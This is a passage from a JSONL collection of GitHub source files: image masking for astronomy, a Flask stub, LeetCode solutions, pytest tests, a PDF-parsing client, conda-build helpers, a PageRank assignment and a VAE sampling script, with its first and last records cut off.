masks by layer group for a given image\n        \"\"\"\n        #normalize the image by its exposure time\n        normalized_image_arr = normalize_compiled(self.__im_array,self.__norm_ets[np.newaxis,np.newaxis,:])\n        #smooth the normalized image image\n        sm_n_image_arr = smooth_image_worker(normalized_image_arr,CONST.TISSUE_MASK_SMOOTHING_SIGMA,gpu=self.use_gpu)\n        #make masks for each layer group\n        layer_group_saturation_masks = {}\n        for lgn,lgb in self.__layer_groups.items() :\n            #threshold the image layers to make a binary mask and sum them\n            cut_at = CONST.SATURATION_INTENSITY_CUTS[lgn]\n            stacked_masks = np.sum((np.where(sm_n_image_arr[:,:,lgb[0]-1:lgb[1]]>cut_at,0,1)).astype(np.uint8),axis=2)\n            #the final mask is anything flagged in ANY layer\n            group_mask = get_thresholded_image_compiled(stacked_masks,lgb[1]-lgb[0]) \n            if np.min(group_mask)!=np.max(group_mask) :\n                if self.use_gpu :\n                    try :\n                        #convert to UMat\n                        group_mask = cv2.UMat(group_mask)\n                    except Exception :\n                        self.use_gpu=False\n                #medium sized open/close to refine it\n                cv2.morphologyEx(group_mask,cv2.MORPH_OPEN,CONST.MEDIUM_CO_EL,group_mask,\n                                 borderType=cv2.BORDER_REPLICATE)\n                cv2.morphologyEx(group_mask,cv2.MORPH_CLOSE,CONST.MEDIUM_CO_EL,group_mask,\n                                 borderType=cv2.BORDER_REPLICATE)\n                if self.use_gpu :\n                    group_mask = group_mask.get()\n                #filter the mask for the total number of pixels and regions by the minimum size\n                group_mask = get_size_filtered_mask(group_mask,CONST.SATURATION_MIN_SIZE)\n            if np.sum(group_mask==0)<CONST.SATURATION_MIN_PIXELS :\n                group_mask = np.ones_like(group_mask)\n            layer_group_saturation_masks[lgn] = group_mask\n        return layer_group_saturation_masks\n\n    def __make_compressed_mask_and_list_of_mask_regions(self) :\n        \"\"\"\n        combine all the created masks into a compressed mask and also make the list of labelled mask region objects\n        \"\"\"\n        #start the list of labelled mask regions\n        self._labelled_mask_regions = []\n        #make the compressed mask, which has (# of layer groups)+1 layers total\n        #the first layer holds just the tissue and blur masks; \n        #the other layers have the tissue and blur masks plus the saturation mask for each layer group\n        self.__compressed_mask = np.ones((*self.__tissue_mask.shape,len(self.__layer_groups)+1),dtype=np.uint8)\n        #add in the blur mask, starting with index 2\n        start_i = 2\n        if np.min(self.__blur_mask)<1 :\n            layers_string = 'all'\n            enumerated_blur_mask = get_enumerated_mask(self.__blur_mask,start_i)\n            for li in range(self.__compressed_mask.shape[-1]) :\n                self.__compressed_mask[:,:,li][enumerated_blur_mask!=0] = enumerated_blur_mask[enumerated_blur_mask!=0]\n            start_i = np.max(enumerated_blur_mask)+1\n            region_indices = list(range(np.min(enumerated_blur_mask[enumerated_blur_mask!=0]),\n                                        np.max(enumerated_blur_mask)+1))\n            for ri in region_indices :\n                r_size = np.sum(enumerated_blur_mask==ri)\n                self._labelled_mask_regions.append(LabelledMaskRegion(self.__image_key,ri,layers_string,\n                                                                      r_size,CONST.BLUR_FLAG_STRING))\n        #add in the saturation masks \n        for lgi,(lgn,lgsm) in enumerate(self.__saturation_masks.items()) :\n            if np.min(lgsm)<1 :\n                layers_string = f'{self.__layer_groups[lgn][0]}-{self.__layer_groups[lgn][1]}'\n                enumerated_sat_mask = get_enumerated_mask(lgsm,start_i)\n                self.__compressed_mask[:,:,lgi+1][enumerated_sat_mask!=0] = enumerated_sat_mask[enumerated_sat_mask!=0]\n                start_i = np.max(enumerated_sat_mask)+1\n                region_indices = list(range(np.min(enumerated_sat_mask[enumerated_sat_mask!=0]),\n                                            np.max(enumerated_sat_mask)+1))\n                for ri in region_indices :\n                    r_size = np.sum(enumerated_sat_mask==ri)\n                    self._labelled_mask_regions.append(LabelledMaskRegion(self.__image_key,ri,layers_string,\n                                                                          r_size,CONST.SATURATION_FLAG_STRING))\n        #finally add in the tissue mask\n        for li in range(self.__compressed_mask.shape[-1]) :\n            self.__compressed_mask[:,:,li][self.__compressed_mask[:,:,li]==1] = self.__tissue_mask[self.__compressed_mask[:,:,li]==1]\n\n#################### FILE-SCOPE CONVENIENCE FUNCTIONS ####################\n\ndef return_new_mask_labelled_regions(im_array,layer_groups,bright_layers,im_key,bg_thresholds,norm_ets,savedir=None) :\n    \"\"\"\n    Create an ImageMask, write out the files it creates, and return its list of labelled mask regions\n    This function writes out the ImageMask it creates and doesn't return it in order to have the \n    smallest possible memory footprint\n    And it also doesn't depend on passing any complex objects outside of it\n    Both of which are useful for running many iterations of the function in parallel processes\n    \n    arguments are the same as ImageMask.__init__\n    \"\"\"\n    mask = ImageMask(im_array,layer_groups,bright_layers,im_key,bg_thresholds,norm_ets)\n    mask.save_mask_files(savedir)\n    return copy.deepcopy(mask.labelled_mask_regions)\n\ndef save_plots_for_image(im_array,layer_groups,bright_layers,im_key,bg_thresholds,norm_ets,\n                         orig_ets,exp_time_hists_and_bins,savedir) :\n    \"\"\"\n    Create the masks for a given image and write out plots of the process\n    Useful if all you care about is getting the plots\n    This function also has the lowest possible memory footprint/simplest possible I/O to be run in parallel processes\n\n    arguments are the same as ImageMask.__init__ + ImageMask.save_plots\n    \"\"\"\n    mask = ImageMask(im_array,layer_groups,bright_layers,im_key,bg_thresholds,norm_ets)\n    mask.save_plots(orig_ets,exp_time_hists_and_bins,savedir)\n","repo_name":"AstroPathJHU/AstroPathPipeline","sub_path":"astropath/shared/image_masking/image_mask.py","file_name":"image_mask.py","file_ext":"py","file_size_in_byte":30700,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"16"}
+{"seq_id":"835643309","text":"from res.config_my import *\r\nfrom res.config_pg import *\r\n\r\ndef conf_storage():\r\n    conf = readcnf().getKunlunInfo()\r\n    configure_storage().change_variables()\r\n    if conf['db_write_file'] == 'on':\r\n        configure_storage().write_config_file()\r\n    if conf['db_restart'] == 'on':\r\n        configure_storage().restart()\r\n\r\ndef conf_server():\r\n    configure_server().write_config_file()\r\n    configure_server().restart()\r\n\r\ndef show_var():\r\n    configure_server().show_variables()\r\n    configure_storage().show_variables()\r\n\r\nif __name__ == '__main__':\r\n    conf = readcnf().getKunlunInfo()\r\n    if conf['only_show_variables'] == 'on':\r\n        show_var()\r\n    elif conf['component'] == 'all':\r\n        conf_server()\r\n        conf_storage()\r\n        show_var()\r\n    elif conf['component'] == 'storage':\r\n        conf_storage()\r\n        configure_storage().show_variables()\r\n    elif conf['component'] == 'server':\r\n        conf_server()\r\n        configure_server().show_variables()","repo_name":"charlesaaaaaaaa/my-scripts","sub_path":"Python/config_variables/config_variables.py","file_name":"config_variables.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43988190129","text":"from flask import Flask\n\napp = Flask(__name__)\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n\n    body = \"It works\"\n\n    return body\n\n\nif __name__ == '__main__':\n    app.run(debug=True, host='0.0.0.0')\n","repo_name":"jwasham/sentiment-classifier-service","sub_path":"application/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"16"}
+{"seq_id":"15655200233","text":"import configparser\n\n\"\"\" This parser reads config ini for respective environment\"\"\"\n\n\nclass MyParser(configparser.ConfigParser):\n\n    def readconfig(self, filename, section):\n        # create template parser\n        # read config file\n        self.read(filename)\n\n        configuration = {}\n        if self.has_section(section):\n            params = self.items(section)\n            for param in params:\n                configuration[param[0]] = param[1]\n        else:\n            raise Exception('Section {0} not found in the {1} file'.format(section, filename))\n\n        return configuration\n","repo_name":"reshmaattar/aws","sub_path":"src/classes/Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31932148222","text":"class Solution:\n    def leastBricks(self, wall: List[List[int]]) -> int:\n        count = collections.defaultdict(int)\n        for line in wall:\n            linesum = 0\n            for brick in line[:-1]:\n                linesum+= brick\n                count[linesum]+=1\n        if not len(count):\n            return len(wall)\n        return len(wall)-max(count.values())\n        ","repo_name":"hyperminji/LeetCode","sub_path":"554-brick-wall/554-brick-wall.py","file_name":"554-brick-wall.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1128065144","text":"# imports\nimport pytest  # used for our unit tests\n\n# function to test\ndef checkLeapYear(year):\n    # Python program to check if year is a leap year or not\n\n    # divided by 100 means century year (ending with 00)\n    # century year divided by 400 is leap year\n    if (year % 400 == 0) and (year % 100 == 0):\n        return \"{0} is a leap year\".format(year)\n\n    # not divided by 100 means not a century year\n    # year divided by 4 is a leap year\n    elif (year % 4 == 0) and (year % 100 != 0):\n        return \"{0} is a leap year\".format(year)\n\n    # if not divided by both 400 (century year) and 4 (not century year)\n    # year is not leap year\n    else:\n        return \"{0} is not a leap year\".format(year)\n\n# unit tests\n# below, each test case is represented by a tuple passed to the @pytest.mark.parametrize decorator\n\n@pytest.mark.parametrize(\"year, expected\", [\n    (2001, \"2001 is not a leap year\"),  # Regular year\n    (2004, \"2004 is a leap year\"),  # Leap year\n    (1900, \"1900 is not a leap year\"),  # Century year\n    (2000, \"2000 is a leap year\"),  # Century leap year\n    (-4, \"-4 is a leap year\"),  # BC year\n    (1000000, \"1000000 is a leap year\"),  # Very large year\n    (-1000000, \"-1000000 is a leap year\"),  # Very small year\n])\ndef test_checkLeapYear(year, expected):\n    assert checkLeapYear(year) == expected\n\n@pytest.mark.parametrize(\"year\", [\n    2000.0,  # float\n    \"2000\",  # string\n])\ndef test_checkLeapYear_type_error(year):\n    with pytest.raises(TypeError):\n        checkLeapYear(year)\n\ndef test_checkLeapYear_no_input():\n    with pytest.raises(TypeError):\n        checkLeapYear()","repo_name":"vaishali-vcs/LLM_UnitTestGenerator_Project","sub_path":"GPT4_Data/Output/test_46.py","file_name":"test_46.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"3434035266","text":"class Solution:\n    \"\"\"\n    You are given an array of strings words and a string chars.\n    A string is good if it can be formed by characters from chars\n    (each character can only be used once).\n\n    Return the sum of lengths of all good strings in words.\n\n    Time: 17% (320ms)\n    \"\"\"\n    def countCharacters(self, words: List[str], chars: str) -> int:\n        total = 0\n        char_map = {}\n        for ch in chars:\n            if ch not in char_map:\n                char_map[ch] = 1\n            else:\n                char_map[ch] += 1\n        for word in words:\n            flag = True\n            for ch in word:\n                if ch not in char_map or char_map[ch] < word.count(ch):\n                    flag = False\n            total += len(word) if flag else 0\n        return total\n","repo_name":"aumaro-nyc/leetcode","sub_path":"Arrays/1160.py","file_name":"1160.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"28726114761","text":"import argparse\nimport json\nimport os\n\nimport requests\n\n# SPP_URL = \"http://pdf-layout-detection-service-dev.us-west-2.elasticbeanstalk.com/detect/\"\nSPP_URL = \"http://127.0.0.1:8080/detect\"\n\n\ndef get_parsed_arxiv_pdf(arxiv_id: str):\n    return get_parsed_url_pdf(f\"https://arxiv.org/pdf/{arxiv_id}.pdf\")\n\n\ndef get_parsed_url_pdf(url: str):\n    r = requests.get(SPP_URL, params={\"pdf_url\": url})\n    if r.ok:\n        layout = r.json()[\"layout\"]\n    else:\n        print(f\"Failed with status code: {r.status_code}\")\n        layout = None\n    return layout\n\n\ndef get_parsed_local_pdf(pdf_path: str):\n    with open(pdf_path, \"rb\") as f:\n        files = {\"pdf_file\": (f.name, f, \"multipart/form-data\")}\n        r = requests.post(SPP_URL, files=files)\n        if r.ok:\n            layout = r.json()[\"layout\"]\n        else:\n            print(f\"Failed with status code: {r.status_code}\")\n            layout = None\n    return layout\n\n\ndef parse_folder_of_pdfs(input_dir, output_dir):\n    os.makedirs(output_dir, exist_ok=True)\n    for file in os.scandir(input_dir):\n        layout = get_parsed_local_pdf(file.path)\n        with open(f\"{output_dir}/{os.path.splitext(file.name)[0]}.json\", \"w\") as out:\n            json.dump(layout, out, indent=2)\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"--arxiv_id\", type=str, help=\"Specify arxiv_id of paper to run through spp\"\n    )\n    parser.add_argument(\n        \"--input_dir\",\n        type=str,\n        help=\"Path to folder containing PDFs to run through spp\",\n    )\n    parser.add_argument(\n        \"--output_dir\",\n        type=str,\n        help=\"Path to folder where spp should place PDF parse output\",\n        default=\"data/spp-output\",\n    )\n    args = parser.parse_args()\n\n    os.makedirs(args.output_dir, exist_ok=True)\n\n    if args.arxiv_id:\n        layout = get_parsed_arxiv_pdf(args.arxiv_id)\n        with open(f\"{args.output_dir}/{args.arxiv_id}.json\", \"w\") as out:\n            json.dump(layout, out, indent=2)\n    elif args.input_dir:\n        parse_folder_of_pdfs(args.input_dir, args.output_dir)\n","repo_name":"rayfok/scim-nlp","sub_path":"src/run_spp.py","file_name":"run_spp.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"24378942854","text":"import warnings\nimport os\nimport sys\n\nfrom conda_build.environ import (\n    conda_build_vars,\n    python_vars,\n    perl_vars,\n    lua_vars,\n    r_vars,\n    system_vars,\n    feature_list,\n    LANGUAGES,\n)\nfrom conda_build.os_utils import external\nfrom conda_build.environ import get_git_info, get_hg_build_info, verify_git_repo\nfrom conda_build import utils\n\n\ndef meta_vars(meta, skip_build_id=False):\n    d = {}\n    for key, value in meta.get_value(\"build/script_env\", {}).items():\n        if not value:\n            warnings.warn(\n                f\"The environment variable '{key}' is undefined.\",\n                UserWarning,\n                stacklevel=1,\n            )\n        else:\n            d[key] = value\n\n    folder = meta.get_value(\"source/0/folder\", \"\")\n    repo_dir = os.path.join(meta.config.work_dir, folder)\n    git_dir = os.path.join(repo_dir, \".git\")\n    hg_dir = os.path.join(repo_dir, \".hg\")\n\n    if not isinstance(git_dir, str):\n        # On Windows, subprocess env can't handle unicode.\n        git_dir = git_dir.encode(sys.getfilesystemencoding() or \"utf-8\")\n\n    git_exe = external.find_executable(\"git\", meta.config.build_prefix)\n    if git_exe and os.path.exists(git_dir):\n        # We set all 'source' metavars using the FIRST source entry in meta.yaml.\n        git_url = meta.get_value(\"source/0/git_url\")\n\n        if os.path.exists(git_url):\n            if sys.platform == \"win32\":\n                git_url = utils.convert_unix_path_to_win(git_url)\n            # If git_url is a relative path instead of a url, convert it to an abspath\n            git_url = os.path.normpath(os.path.join(meta.path, git_url))\n\n        _x = False\n\n        if git_url:\n            _x = verify_git_repo(\n                git_exe,\n                git_dir,\n                git_url,\n                meta.config.git_commits_since_tag,\n                meta.config.debug,\n                meta.get_value(\"source/0/git_rev\", \"HEAD\"),\n            )\n\n        if _x or meta.get_value(\"source/0/path\"):\n            d.update(get_git_info(git_exe, git_dir, meta.config.debug))\n\n    elif external.find_executable(\"hg\", meta.config.build_prefix) and os.path.exists(\n        hg_dir\n    ):\n        d.update(get_hg_build_info(hg_dir))\n\n    # use `get_value` to prevent early exit while name is still unresolved during rendering\n    d[\"PKG_NAME\"] = meta.get_value(\"package/name\")\n    d[\"PKG_VERSION\"] = meta.version()\n    d[\"PKG_BUILDNUM\"] = str(meta.build_number())\n    if meta.final and not skip_build_id:\n        d[\"PKG_BUILD_STRING\"] = str(meta.build_id())\n        d[\"PKG_HASH\"] = meta.hash_dependencies()\n    else:\n        d[\"PKG_BUILD_STRING\"] = \"placeholder\"\n        d[\"PKG_HASH\"] = \"1234567\"\n    d[\"RECIPE_DIR\"] = meta.path\n    return d\n\n\ndef get_dict(\n    m,\n    prefix=None,\n    for_env=True,\n    skip_build_id=False,\n    escape_backslash=False,\n    variant=None,\n):\n    if not prefix:\n        prefix = m.config.host_prefix\n\n    m.config._merge_build_host = m.build_is_host\n\n    # conda-build specific vars\n    d = conda_build_vars(prefix, m.config)\n\n    # languages\n    d.update(python_vars(m, prefix, escape_backslash))\n    d.update(perl_vars(m, prefix, escape_backslash))\n    d.update(lua_vars(m, prefix, escape_backslash))\n    d.update(r_vars(m, prefix, escape_backslash))\n\n    if m:\n        d.update(meta_vars(m, skip_build_id=skip_build_id))\n\n    # system\n    d.update(system_vars(d, m, prefix))\n\n    # features\n    d.update({feat.upper(): str(int(value)) for feat, value in feature_list})\n\n    variant = variant or m.config.variant\n    for k, v in variant.items():\n        if not for_env or (k.upper() not in d and k.upper() not in LANGUAGES):\n            d[k] = v\n    return d\n","repo_name":"mamba-org/boa","sub_path":"boa/core/environ.py","file_name":"environ.py","file_ext":"py","file_size_in_byte":3680,"program_lang":"python","lang":"en","doc_type":"code","stars":242,"dataset":"github-code","pt":"16"}
+{"seq_id":"6301844267","text":"import numpy as np\nimport skimage.transform as st\nimport scipy.interpolate as si\nimport scipy.ndimage as sni\nimport itertools\nfrom learning.cloth_funnels.geometry import get_center_affine, pixel_to_3d, transform_points, transform_pose, get_pointcloud\ndef camera_image_to_view(cam_img, tx_camera_view, img_shape=(128,128)):\n    tf_camera_view = st.AffineTransform(matrix=tx_camera_view)\n    result_img = st.warp(cam_img, tf_camera_view.inverse, output_shape=img_shape)\n    return result_img\n\nclass ImageStackTransformer:\n    \"\"\"\n    Note: this class follows skimage.transform coordinate convention\n    (x,y) x right, y down\n    The rest of skimage uses (col, row) convention\n    \"\"\"\n    def __init__(self, img_shape=(128,128), \n            rotations=np.linspace(-np.pi, np.pi, 17), \n            scales=[1.0, 1.5, 2.0, 2.5, 3.0]):\n        \"\"\"\n        Create a stack of rotations * scales images.\n        Rotation: counter-clockwise\n        Scales: >1 object appear bigger\n        \"\"\"\n        assert len(img_shape) == 2\n        stack_shape = (len(rotations) * len(scales),) + tuple(img_shape)\n\n        transforms = list()\n        self.transform_tuples = list(itertools.product(rotations, scales))\n\n        for rot, scale in itertools.product(rotations, scales):\n            # both skimage and torchvision use\n            tf = get_center_affine(\n                img_shape=img_shape, \n                rotation=rot, scale=scale)\n            tf.params = tf.params.astype(np.float32)\n            transforms.append(tf)\n\n        self.shape = stack_shape\n        self.transforms = transforms\n        self.rotations = rotations\n        self.scales = scales\n    \n    def forward_img(self, img, mode='constant'):\n        results = [st.warp(img, tf.inverse, mode=mode, preserve_range=True) for tf in self.transforms]\n        stack = np.stack(results).astype(np.uint8)\n        return stack\n    \n    def forward_raw(self, raw, tx_camera_view):\n        img_shape = self.shape[1:]\n        stack = np.empty(\n            (len(self.transforms),) + img_shape + raw.shape[2:], \n            dtype=raw.dtype)\n        for i, tf in enumerate(self.transforms):\n            ntf = st.AffineTransform(tf.params @ tx_camera_view)\n            stack[i] = st.warp(raw, ntf.inverse, \n                order=1,\n                output_shape=img_shape,\n                preserve_range=True)\n        return stack\n    \n    def inverse_coord(self, stack_coord):\n        \"\"\"\n        Convert 3d stack coordinate integers to\n        float coordinate in the original image\n        \"\"\"\n        return self.transforms[stack_coord[0]].inverse(stack_coord[1:])\n\n    def get_inverse_coord_map(self):\n        identity_map = np.moveaxis(\n            np.indices(self.shape[1:], dtype=np.float32)[::-1],0,-1\n            )\n\n        maps = list()\n        for tf in self.transforms:\n            tx = np.linalg.inv(tf.params)\n            r = transform_points(\n                identity_map.reshape(-1,2), \n                tx).reshape(identity_map.shape)\n            maps.append(r)\n        coord_stack = np.stack(maps)\n        return coord_stack\n\n    def get_world_coords_stack(self, depth, tx_camera_view, tx_world_camera, cam_intr):\n        img_coords_stack = self.get_inverse_coord_map()\n        raw_img_coords_stack = transform_points(\n            img_coords_stack.reshape(-1,2), \n            np.linalg.inv(tx_camera_view)).reshape(\n                img_coords_stack.shape)\n\n        # x,y\n        # transform to world coord\n        world_coords_stack = np.empty(\n            img_coords_stack.shape[:-1]+(3,), \n            dtype=np.float32)\n        for i in range(len(img_coords_stack)):\n            img_coords = raw_img_coords_stack[i]\n            # skimage uses (x,y) coordinate, pixel_to_3d uses (y,x)\n            coords_3d = pixel_to_3d(depth, img_coords.reshape(-1,2)[:,::-1], \n                cam_pose=tx_world_camera, cam_intr=cam_intr)\n            img_coords_3d = coords_3d.reshape(img_coords.shape[:-1] + (3,))\n            world_coords_stack[i] = img_coords_3d\n        return world_coords_stack\n\n\ndef is_coord_valid_robot(coords, tx_robot_world, \n        reach_radius=0.93, near_radius=0.0755):\n    \"\"\"\n                    max     recommended             \n    reach_radius:   0.946   0.85\n    near_radius:    0       0.0755\n\n    Reference:\n    https://www.universal-robots.com/articles/ur/application-installation/what-is-a-singularity/\n    \"\"\"\n    coords_robot = transform_points(coords, tx_robot_world)\n    dist_3d = np.linalg.norm(coords_robot, axis=-1)\n    dist_xy = np.linalg.norm(coords_robot[...,:2], axis=-1)\n    is_valid = (dist_3d < reach_radius) & (dist_xy > near_radius)\n    return is_valid\n\ndef is_coord_valid_table(coords, table_low=(-0.58,-0.88,-0.05), table_high=(0.58,0.87,0.2)):\n    is_valid = np.ones(coords.shape[:-1], dtype=bool)\n    for i in range(3):\n        this_valid = (table_low[i] < coords[...,i]) & (coords[...,i] < table_high[i])\n        is_valid = is_valid & this_valid\n    return is_valid\n\n\ndef fill_nearest(depth_im, mask):\n    coords = np.moveaxis(np.indices(depth_im.shape),0,-1)\n    interp = si.NearestNDInterpolator(coords[~mask], depth_im[~mask])\n    out_im = depth_im.copy()\n    out_im[mask] = interp(coords[mask])\n    return out_im\n\ndef get_offset_stack(stack, offset=16):\n    \"\"\"\n    Assuming (N,H,W,D)\n    up: move up offset pixels\n    down: move down offset pixels\n    \"\"\"\n    value = np.nan\n    if stack.dtype is np.dtype('bool'):\n        value = False\n    up_stack = np.full(stack.shape, value, dtype=stack.dtype)\n    down_stack = np.full(stack.shape, value, dtype=stack.dtype)\n    up_stack[:,offset:,...] = stack[:,:-offset,...]\n    down_stack[:,:-offset:,...] = stack[:,offset:,...]\n    return up_stack, down_stack\n\n\ndef check_line_validity(stack, offset=16, axis=1, eps=1e-7):\n    length = offset*2+1\n    weights = np.full((length,),1/length, dtype=np.float32)\n    result = sni.convolve1d(stack.astype(np.float32), \n        weights, axis=axis, mode='constant', cval=0)\n    out = result > (1-eps)\n    return out\n","repo_name":"xiaoxiaoxh/UniFolding","sub_path":"learning/cloth_funnels/transformed_view_env.py","file_name":"transformed_view_env.py","file_ext":"py","file_size_in_byte":6006,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"16"}
+{"seq_id":"4031710324","text":"#인공지능 오븐이 오븐구이가 끝나는 시간을 분 단위로 자동적으로 계산\n#오븐 앞면엔 사용자에게 요리가 끝나는 시각을 알려주는 디지털 시게가 있음\n#입력: 요리를 시작하는 시각(A시 B분), 오븐구이를 하는 데 필요한 시간이 분 단위로 주어짐\n# 0<=A<=23, 0<=B<=59\n#디지털 시계는 23시 59분에서 1분이 지나면 0시 0분이 된다\n#출력: 오븐구이가 끝나는 시간을 출력(A B)\n\n# 현재 시간 A, 현재 분 B\nA, B=map(int, input().split())\n# 요리 소요 시간 C\nC=int(input())\n\n# 시간, 분, 요리 소요���간 범위 제한\nif (0<=A<=23) and (0<=B<=59) and (0<=C<=1000):\n\n    add_h=C//60  # 현재 시간에 추가할 시간\n    add_m=C-(60*add_h) #현재 분에 추가할 분\n\n    # 요리 끝날 시간 end_h, 분 end_m\n    end_h=A+add_h\n    end_m=B+add_m\n\n    # 59보다 큰 양 만큼 시간에 추가\n    if end_m > 59:\n        extra_h = end_m//60\n        end_h += extra_h\n        end_m = end_m - (60*extra_h)\n\n#종료시간이 24시 60분이라고 칠 때\n# -> 25시(24+1) 0분 (60-60)\n\nif (end_h > 23):\n    end_h-=24\nprint(end_h, end_m)\n\n\n\n\n    \n\n        \n\n\n    \n    \n","repo_name":"3eonah/AlgorithmStudy","sub_path":"2525.py","file_name":"2525.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17400066132","text":"import gzip\nimport sys\ndef mainFunc(l, t):\n    # This is where I begin the pagerank algorithm\n    def pageRank(file, l, t):\n        line = file.readline()\n        line = line.decode('utf-8')\n        pages = {}\n        while (line != ''):\n            arr = line.split('\\t')\n            source = arr[0]\n            target = arr[1]\n            target.strip('\\n')\n            if pages.get(target, -1) == -1:\n                    pages.update({target : []})\n            if pages.get(source, -1) == -1:\n                    pages.update({source : [target]})\n            else:\n                pages[source].append(target)\n            line = file.readline()\n            line = line.decode('utf-8')\n        I = {}\n        for entries in pages:\n            I.update({entries: 1/len(pages)})\n        R = I.copy()\n        doesConverage = False\n        while(doesConverage == False):\n            accumulator = 0\n            for entry in R:\n                R.update({entry : l / len(pages)})\n            for page in pages:\n                Q = pages[page]\n                if (len(Q) > 0):\n                    for pageQ in Q:\n                        R[pageQ] += (1 - l) * I[page] / len(Q)\n                else:\n                    accumulator += (1 - l) * I[page] / len(pages)\n            for entry in R:\n                R[entry] += accumulator\n            summation = 0\n            for entry in R:\n                summation += abs(R[entry] - I[entry])\n            if summation < t:\n                doesConverage = True\n            I = R.copy()\n        return R\n\n    def keyWithMaxVal(d):\n        v=list(d.values())\n        k=list(d.keys())\n        return k[v.index(max(v))]\n\n    inlinks = {}\n    pageranks = {}\n\n    with gzip.open('links.srt.gz','r') as file1:\n        line = file1.readline()\n        line = line.decode('utf-8')\n        while (line != ''):\n            pages = line.strip('\\n').split('\\t')\n            target = pages[1]\n            if inlinks.get(target, -1) == -1:\n                inlinks.update({target : 1})\n            else:\n                inlinks[target] = inlinks[target] + 1\n            line = file1.readline()\n            line = line.decode('utf-8')    \n    file1.close()\n\n    with gzip.open('links.srt.gz','r') as file1:\n        pageranks = pageRank(file1, l, t)\n    file1.close()\n\n    inlinksHundred = {}\n    pagerankHundred = {}\n    inlinksOrder = []\n    pageranksOrder = []\n    \n    for num in range(100):\n        maxInlink = keyWithMaxVal(inlinks)\n        maxPagerank = keyWithMaxVal(pageranks)\n        inlinksHundred.update({maxInlink: inlinks[maxInlink]})\n        pagerankHundred.update({maxPagerank: pageranks[maxPagerank]})\n        inlinksOrder.append(maxInlink)\n        pageranksOrder.append(maxPagerank)\n        inlinks.pop(maxInlink)\n        pageranks.pop(maxPagerank)\n\n    file2 = open(\"inlinks.txt\", \"w\")\n    file3 = open(\"pagerank.txt\", \"w\")\n    for num in range(100):\n        file2.write(inlinksOrder[num] + ' ' + str(num + 1) + ' ' + str(inlinksHundred[inlinksOrder[num]]) + '\\n')\n        file3.write(str(pageranksOrder[num].strip('\\n')) + ' ' + str(num + 1) + ' ' + str(pagerankHundred[pageranksOrder[num]]) + '\\n')\n    file2.close()\n    file3.close()\n        \nif __name__ == '__main__':\n    l = float(sys.argv[1])\n    t = float(sys.argv[2])\n    mainFunc(l, t)\n\n","repo_name":"Piyushm19/Python_Projects","sub_path":"Python Projects/446/P2/src/P2.py","file_name":"P2.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37163173234","text":"from vae.VAE import *\nfrom config.config import VAEConfig\nimport os\n\n\ndef gen_sample():\n    config = VAEConfig().get_config()\n    output_dir = config['output_dir']\n    num_samples = config['num_samples']\n    seed = config['seed']\n    latent_dim = config['latent_dim']\n\n    use_cuda = torch.cuda.is_available()\n\n    ### Set the seeds. Default: 42\n    np.random.seed(seed)\n    torch.manual_seed(seed)\n    torch.cuda.manual_seed_all(seed)\n\n    model = torch.load(os.path.join(output_dir, 'model.pt'))\n\n    device_gpu = None\n    if use_cuda:\n        dev_gpu = \"cuda\"\n        device_gpu = torch.device(dev_gpu)\n        model.to(device_gpu)\n\n    if os.path.exists(os.path.join(output_dir, 'data.pkl')):\n        x_train, x_test = pickle.load(open(os.path.join(output_dir, 'data.pkl'), 'rb'))\n    else:\n        print(\"Training Data Doesn't exist.\")\n        exit(0)\n        return\n\n    print(x_train.shape)\n    x_train_sampled = x_train[np.random.randint(x_train.shape[0], size=num_samples), :]\n    print(x_train_sampled.shape)\n    x_train = torch.from_numpy(x_train_sampled)\n    if use_cuda:\n        x_train = x_train.to(device_gpu)\n    xt = x_train.float()\n    T = pickle.load(open(os.path.join(output_dir, 't-val.pkl'), 'rb'))\n    print(\"T\", T)\n    model.eval()\n    assert (num_samples == xt.shape[0])\n    with torch.no_grad():\n        # compute the mu and logarithmic variance of the original data's z.\n        mu, logvar = model.encode(xt.view(-1, xt.shape[1]))\n        std = torch.exp(0.5 * logvar)\n        num_samples_in_one_go = xt.shape[0]\n\n        ### For each generated sample, compute these values.\n        tgt_count = num_samples\n        all_tensor_out_taken = []\n        while tgt_count > 0:\n            m = torch.randn(num_samples_in_one_go, latent_dim)  ## Sample z?\n            if use_cuda:\n                m = m.to(device_gpu).float()\n            rep_z = m * std + mu\n\n            any_inf = torch.any(torch.isinf(rep_z), axis=1)\n            mu = mu[~any_inf]\n            std = std[~any_inf]\n            rep_z = rep_z[~any_inf]\n            xt = xt[~any_inf]\n            num_samples_in_one_go = xt.shape[0]\n\n            ## P(z)\n            normal = torch.distributions.normal.Normal(0, 1)  ## Normal Prior on Z.\n            p_z = normal.log_prob(rep_z)  ## Probabilitiy of z being sampled from normal prior.\n\n            ## P(x|z)\n            x_cap = model.decode(rep_z)  ## Output based on the obtained z.\n            x_distr = torch.distributions.normal.Normal(torch.mean(x_cap, axis=0),\n                                                        1)  ## Distribution with x_cap as mean\n            p_x_z = x_distr.log_prob(xt)\n\n            ## Q(z|x)\n            q_normal = torch.distributions.normal.Normal(mu, std)\n            q_z_x 